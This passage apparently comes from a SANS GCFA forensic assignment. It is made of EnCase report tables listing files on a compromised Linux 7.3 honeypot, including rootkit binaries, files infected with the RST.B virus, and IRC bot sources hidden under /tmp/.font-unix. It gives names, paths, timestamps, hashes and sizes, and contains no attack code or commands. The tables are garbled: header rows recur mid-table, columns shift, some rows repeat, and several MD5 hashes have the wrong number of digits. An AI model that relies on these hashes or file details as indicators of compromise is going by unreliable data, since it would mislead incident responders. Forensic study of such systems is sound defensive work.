<td>Last Accessed</td>
<td>06/30/03 04:50:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>04/19/02 10:35:23AM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>c512271dc84a7d892551a73f85d89049</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Physical Size</td>
<td>33,792</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Logical Size</td>
<td>33,349</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>211)</td>
<td>Name</td>
<td>vi</td>
<td></td>
<td>06/30/03 04:50:02PM</td>
<td>03/27/02 05:20:14PM</td>
<td>99d036032ca9d35d30d9df34127b2d5b</td>
<td>391,168</td>
<td>390,783</td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\vi</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:22:11PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/30/03 04:50:02PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>03/27/02 05:20:14PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>99d036032ca9d35d30d9df34127b2d5b</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Physical Size</td>
<td>391,168</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Logical Size</td>
<td>390,783</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>212)</td>
<td>Name</td>
<td>install</td>
<td></td>
<td>06/29/03 03:22:11PM</td>
<td>03/24/03 09:37:31PM</td>
<td>5ab9ac0a738a778c85f553738f3869d</td>
<td>12,288</td>
<td></td>
</tr>
<tr>
<td></td>
<td>Description</td>
<td>File</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Full Path</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\s.install</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Entry Modified</td>
<td>06/29/03 03:22:08PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 03:25:21PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>03/24/03 09:37:31PM</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>5ab9ac0a738a778c85f553738f3869d</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Physical Size</td>
<td>12,288</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
<tr>
<td>Logical Size</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>--------------</td>
<td>----------</td>
<td>-------------</td>
<td>------------------------------------------------</td>
<td>------------------</td>
<td>---------------</td>
<td>----------------</td>
<td>-------------------------------------------</td>
<td>---------------</td>
</tr>
<tr>
<td>12,139</td>
<td>grep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\grep</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/26/02 11:24:50AM</td>
<td>03800b9ba1467bb667ea3d81423614f9</td>
<td>122,880</td>
</tr>
<tr>
<td></td>
<td>gettext</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\gettext</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/05/02 12:14:26AM</td>
<td>8d1fcf9be26d6fca3f536502af8744</td>
<td>44,032</td>
</tr>
<tr>
<td></td>
<td>false</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\false</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>82e9e2b2ecbc475d576a799fa51ab3df</td>
<td>15,360</td>
</tr>
<tr>
<td></td>
<td>echo</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\echo</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/08/02 10:02:12AM</td>
<td>59a844056de45855afa945cab1fc044d</td>
<td>20,480</td>
</tr>
<tr>
<td></td>
<td>doexec</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\doexec</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>9299999e2742dce42e7283c5dc9825922</td>
<td>14,336</td>
</tr>
<tr>
<td></td>
<td>dmesg</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dmesg</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/19/02 10:35:23AM</td>
<td>9299999e2742dce42e7283c5dc9825922</td>
<td>14,336</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>------------</td>
<td>-------------</td>
<td>----------------------------</td>
<td>------------------</td>
<td>---------------</td>
<td>-------------------</td>
<td>----------------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>dmesg</td>
<td></td>
<td>Sans GCFA Cert Assignment| 06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:02PM</td>
<td>04/01/02 05:26:24PM</td>
<td>cf01c9d9574357c27510aff2f1630a7</td>
<td>13,312</td>
<td>12,843</td>
<td></td>
</tr>
<tr>
<td>date</td>
<td></td>
<td>Linux 7.3 Honey pot system| 06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:00PM</td>
<td>04/08/02 10:02:12AM</td>
<td>35c3004dda5210896d46d2925bc17dea</td>
<td>31,744</td>
<td>30,815</td>
<td></td>
</tr>
<tr>
<td>cut</td>
<td></td>
<td>Linux 7.3 Honey pot system| 06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>6219a330ee1e688ab8068885eb54a65f</td>
<td>29,696</td>
<td>28,810</td>
<td></td>
</tr>
<tr>
<td>consolechars</td>
<td></td>
<td>Linux 7.3 Honey pot system| 06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>04/15/02 08:05:51AM</td>
<td>b5acb19c71a903833d26da5dc5f1ac13</td>
<td>52,224</td>
<td>51,807</td>
<td></td>
</tr>
<tr>
<td>clean</td>
<td></td>
<td>Linux 7.3 Honey pot system| 06/29/03 03:22:08PM</td>
<td>06/29/03 03:25:20PM</td>
<td>02/06/02 04:26:29AM</td>
<td>f9e2970e3a7682440316b6e1a2687cbe</td>
<td>2,048</td>
<td>1,250</td>
<td></td>
</tr>
<tr>
<td>chmod</td>
<td></td>
<td>Linux 7.3 Honey pot system| 06/29/03 03:22:11PM</td>
<td>06/30/03 04:02:10AM</td>
<td>06/29/03 03:22:11PM</td>
<td>f6a88b0b537f6ad4f5b07f22b1d3f22f</td>
<td>2,048</td>
<td>1,250</td>
<td></td>
</tr>
</tbody>
</table>
## Files outside root kit infected with Linux RST.B virus

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>cat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cat</td>
<td>06/29/03 03:22:11PM</td>
<td>06/30/03 04:50:01PM</td>
<td>03/22/02 05:02:03PM</td>
<td>52fd1af36d878c9986aa9a225f6e65</td>
<td>29,696</td>
<td>29,549</td>
</tr>
<tr>
<td>mt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\sbin\rmt</td>
<td>06/30/03 04:45:40PM</td>
<td>06/20/03 04:07:15PM</td>
<td>03/01/02 06:40:43AM</td>
<td>d50f6c9ae20a2a19a76026ac9d702d55</td>
<td>378,880</td>
<td>378,827</td>
</tr>
<tr>
<td>mail</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mail</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>e9762cd89f17ec6e14b09a799f66a48</td>
<td>75,776</td>
<td>75,251</td>
</tr>
<tr>
<td>mt</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mt</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>14465d16b8e9f195b6ed9e4884d5fd</td>
<td>22,528</td>
<td>21,711</td>
</tr>
<tr>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>--------</td>
<td>-------------</td>
<td>---------------------------------------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------------</td>
<td>---------------</td>
<td>--------------</td>
</tr>
<tr>
<td>netstat</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\netstat</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>8a6c03c19c4c93dfca31bcee94ce45da</td>
<td>39,936</td>
<td>39,399</td>
</tr>
<tr>
<td>cpio</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\cpio</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c61b782df9a5fbae4815ff9d9574d55</td>
<td>74,752</td>
<td>74,031</td>
</tr>
<tr>
<td>bash</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\bash</td>
<td>06/19/03 11:34:09AM</td>
<td>06/30/03 04:55:47PM</td>
<td>04/12/02 10:09:54AM</td>
<td>11f4690af5b4e3b56a9477f12aece4f4</td>
<td>541,696</td>
<td>541,096</td>
</tr>
<tr>
<td>chgrp</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chgrp</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>f4912bddd5aff8beee53a5c2db1cdceeaa</td>
<td>25,600</td>
<td>25,183</td>
</tr>
<tr>
<td>ed</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ed</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>c08b691329e671e3dea363239e2c9d24</td>
<td>92,160</td>
<td>91,823</td>
</tr>
<tr>
<td>Entry</td>
<td>Description</td>
<td>File</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
</tr>
<tr>
<td>-------</td>
<td>-------------</td>
<td>------</td>
<td>-----------</td>
<td>---------------</td>
<td>--------------</td>
<td>-------------</td>
<td>------------</td>
<td>--------------</td>
</tr>
<tr>
<td>234)</td>
<td>chown</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\chown</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>1e9625aa68abf52f164603af3b8ff8b8</td>
<td>27,648</td>
</tr>
<tr>
<td>235)</td>
<td>dd</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\dd</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>6dd588d7284f7606d6c4f90af6dbbb74a</td>
<td>37,888</td>
</tr>
<tr>
<td>236)</td>
<td>ln</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\ln</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>06/30/03 04:55:50PM</td>
<td>44ac2d1c35045f3f2052d9d21ae75e8</td>
<td>29,696</td>
</tr>
<tr>
<td>237)</td>
<td>mkdir</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mkdir</td>
<td>06/29/03 03:39:21PM</td>
<td>06/29/03 03:41:11PM</td>
<td>06/29/03 03:39:21PM</td>
<td>7aae71b278f929d854f489fda82f98fd</td>
<td>23,552</td>
</tr>
<tr>
<td>238)</td>
<td>mv</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mv</td>
<td>06/29/03 03:22:10PM</td>
<td>06/30/03 04:50:00PM</td>
<td>03/24/02 07:23:18PM</td>
<td>d45155beffebbdc7ac6d26a7add84d3a</td>
<td>53,248</td>
</tr>
<tr>
<td>239)</td>
<td>egrep</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\egrep</td>
<td></td>
<td></td>
<td></td>
<td></td>
<td></td>
</tr>
</tbody>
</table>
## EnCase Computer Analysis Report

**Entry Modified** 06/19/03 11:34:42AM
**Last Accessed** 06/30/03 04:50:01PM
**Last Written** 03/26/02 11:24:49AM
**Hash Value** 1a1c4e75e82a51bc570350aa22184913
**Physical Size** 1,024
**Logical Size** 33

### 240) Name: mnetstat
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\bin\mnetstat
- **Entry Modified** 06/29/03 03:25:20PM
- **Last Accessed** 06/30/03 04:50:02PM
- **Last Written** 06/29/03 03:25:20PM
- **Hash Value:** 3939b3986c7342c121aa395a658a5232
- **Physical Size:** 109,568
- **Logical Size:** 108,932

### 241) Name: bzip2recover
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\bzip2recover
- **Entry Modified** 06/29/03 11:53:01PM
- **Last Accessed** 06/29/03 11:53:01PM
- **Last Written** 06/29/03 11:53:01PM
- **Hash Value:** 5d50b7a01bbf832876e7092dc91d70f4
- **Physical Size:** 16,384
- **Logical Size:** 15,624

### 242) Name: gencat
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
- **Entry Modified** 06/29/03 11:53:01PM
- **Last Accessed** 06/29/03 11:53:01PM
- **Last Written** 06/29/03 11:53:01PM
- **Hash Value:** 84492adb4dddeccff3e3c8a30c99725b
- **Physical Size:** 20,480
- **Logical Size:** 18,040

### 243) Name: gencat
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\gencat
- **Entry Modified** 06/29/03 11:53:01PM
- **Last Accessed** 06/29/03 11:53:01PM
- **Last Written** 06/29/03 11:53:01PM
- **Hash Value:** 84492adb4dddeccff3e3c8a30c99725b
- **Physical Size:** 20,480
- **Logical Size:** 18,040

### 244) Name: getent
- **Description:** File
- **Full Path:** Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\getent
- **Entry Modified** 06/29/03 11:53:01PM
- **Last Accessed** 06/29/03 11:53:01PM
- **Last Written** 06/29/03 11:53:01PM
- **Hash Value:** f1a14ddaf6053137dbda6798ee90f5a9
## EnCase Computer Analysis Report

### Sans GCFA Cert Assignment

<table>
<thead>
<tr>
<th>Entry</th>
<th>Description</th>
<th>Full Path</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>245</td>
<td>Name</td>
<td>iconv</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\iconv</td>
<td>20,480</td>
</tr>
<tr>
<td></td>
<td>Last Modified</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>cfba21a7bab79204868fa7265a7870e6</td>
<td></td>
<td></td>
</tr>
<tr>
<td>246</td>
<td>Name</td>
<td>lddlibc4</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lddlbcc4</td>
<td>53,248</td>
</tr>
<tr>
<td></td>
<td>Last Modified</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>2e4e896f0ea9192ef5d94673d79dd403</td>
<td></td>
<td></td>
</tr>
<tr>
<td>247</td>
<td>Name</td>
<td>localedef</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\localedef</td>
<td>299,008</td>
</tr>
<tr>
<td></td>
<td>Last Modified</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>bb5be07bef4f5b4d281cf00e5a5f5b4d281</td>
<td></td>
<td></td>
</tr>
<tr>
<td>248</td>
<td>Name</td>
<td>sprof</td>
<td>Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof</td>
<td>299,008</td>
</tr>
<tr>
<td></td>
<td>Last Modified</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Accessed</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Last Written</td>
<td>06/29/03 11:53:01PM</td>
<td></td>
<td></td>
</tr>
<tr>
<td></td>
<td>Hash Value</td>
<td>bb5be07bef4f5b4d281cf00e5a5f5b4d281</td>
<td></td>
<td></td>
</tr>
</tbody>
</table>

© SANS Institute 2004, Author retains full rights.
<table>
<thead>
<tr>
<th>No.</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>251</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\sprof</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>4206b74dd02af036ee754efe56898b3b</td>
<td>24,576</td>
<td>20,552</td>
</tr>
<tr>
<td>252</td>
<td>db1_dump185</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\db1_dump185</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>174712fef4fb412ad992e992e3a35182</td>
<td>12,288</td>
<td>11,525</td>
</tr>
<tr>
<td>253</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>254</td>
<td>lsattr</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\lsattr</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>255</td>
<td>eject</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>56853d1f05a0a1562c83811c02644930</td>
<td>12,288</td>
<td>9,684</td>
</tr>
<tr>
<td>Entry</td>
<td>Name</td>
<td>Description</td>
<td>Full Path</td>
<td>Entry Modified</td>
<td>Last Accessed</td>
<td>Last Written</td>
<td>Hash Value</td>
<td>Physical Size</td>
<td>Logical Size</td>
</tr>
<tr>
<td>-------</td>
<td>--------</td>
<td>-------------</td>
<td>---------------------------------------------</td>
<td>----------------</td>
<td>---------------</td>
<td>--------------</td>
<td>----------------------------</td>
<td>----------------</td>
<td>--------------</td>
</tr>
<tr>
<td>256)</td>
<td>eject</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\eject</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>85042620b5dd45a67c0280c9a3751793</td>
<td>28,672</td>
<td>25,812</td>
</tr>
<tr>
<td>257)</td>
<td>file</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\file</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>258)</td>
<td>file</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\file</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>63a4be81d1843be376f98b0986ff836a</td>
<td>49,152</td>
<td>48,674</td>
</tr>
<tr>
<td>259)</td>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28dccc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
<tr>
<td>260)</td>
<td>ksymoops</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\usr\bin\ksymoops</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>06/29/03 11:53:01PM</td>
<td>0d9ddca9a28dccc0313ac4012f20c6c31</td>
<td>450,560</td>
<td>448,456</td>
</tr>
</tbody>
</table>
## IRC Files

<table>
<thead>
<tr>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>services</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp/.font-\unix\X11-\pipe\inetd\services</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>03/15/02 07:27:40PM</td>
<td>a964f1f56ab911428a2ae6e849842f13</td>
<td>475,136</td>
<td>474,596</td>
</tr>
<tr>
<td>randpickup.e</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp/.font-\unix\X11-\pipe\trash\randfiles\randpickup.e</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>d05256617d3228d1eb4dade64bd0529</td>
<td>3,072</td>
<td>2,495</td>
</tr>
<tr>
<td>Makefile.in</td>
<td>File</td>
<td>Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp/.font-\unix\X11-\pipe\src\Makefile.in</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>10/09/00 06:22:02PM</td>
<td>f971a04f8f3228d1eb4f5ade64bd0529</td>
<td>3,072</td>
<td>2,495</td>
</tr>
</tbody>
</table>
Hash Value: f87636f121d2087482ee5cbea3934fb3
Physical Size: 3,072
Logical Size: 3,002

266) Name: commands.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\commands.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/27/01 07:15:16AM
Hash Value: a1b52263b8a66d7c90fc549ef70230c4
Physical Size: 41,984
Logical Size: 41,966

Comment:

267) Name: dcc.c
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\dcc.c
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 10/09/00 06:22:02PM
Hash Value: e079886a45868d7c490fc549ef70230c4
Physical Size: 10,240
Logical Size: 9,929

268) Name: global.h
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\global.h
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/26/01 06:12:04PM
Hash Value: c0f09ce5d8d0a233cf59a39a8fa089be
Physical Size: 12,288
Logical Size: 12,044

269) Name: structs.h
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\structs.h
Entry Modified: 06/29/03 03:32:50PM
Last Accessed: 06/29/03 03:32:50PM
Last Written: 02/26/01 04:27:42PM
Hash Value: 7f4edf55bb5062c91208897b4c3739c
Physical Size: 9,216
Logical Size: 8,264

270) Name: config.h
Description: File
Full Path: Sans GCFA Cert Assignment\Linux 7.3 Honey pot system\tmp\font-unix\X11-pipe\src\config.h
Entry Modified: 06/29/03 03:32:50PM

<table>
<thead>
<tr>
<th>Entry</th>
<th>Name</th>
<th>Description</th>
<th>Full Path</th>
<th>Entry Modified</th>
<th>Last Accessed</th>
<th>Last Written</th>
<th>Hash Value</th>
<th>Physical Size</th>
<th>Logical Size</th>
</tr>
</thead>
<tbody>
<tr>
<td>271)</td>
<td>combot.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/combot.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:24PM</td>
<td>3ac8152d92ce3822bd6eafe4a777da13</td>
<td>9,216</td>
<td>8,249</td>
</tr>
<tr>
<td>272)</td>
<td>dcc.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/dcc.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:26PM</td>
<td>1568e3352c2d6b24c7a68ba1923f0</td>
<td>68,608</td>
<td>67,624</td>
</tr>
<tr>
<td>273)</td>
<td>function.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/function.o</td>
<td>06/29/03 03:32:50PM</td>
<td>06/29/03 03:32:50PM</td>
<td>08/27/01 02:00:28PM</td>
<td>cdc0ec786c3c71249b744c073c510f7d</td>
<td>56,320</td>
<td>55,580</td>
</tr>
<tr>
<td>274)</td>
<td>main.o</td>
<td>File</td>
<td>Sans GCFA Cert Assignment/Linux 7.3 Honey pot system/tmp/.font-unix/.X11-pipe/src/main.o</td>
<td>06/29/03 03:32:50PM</td>
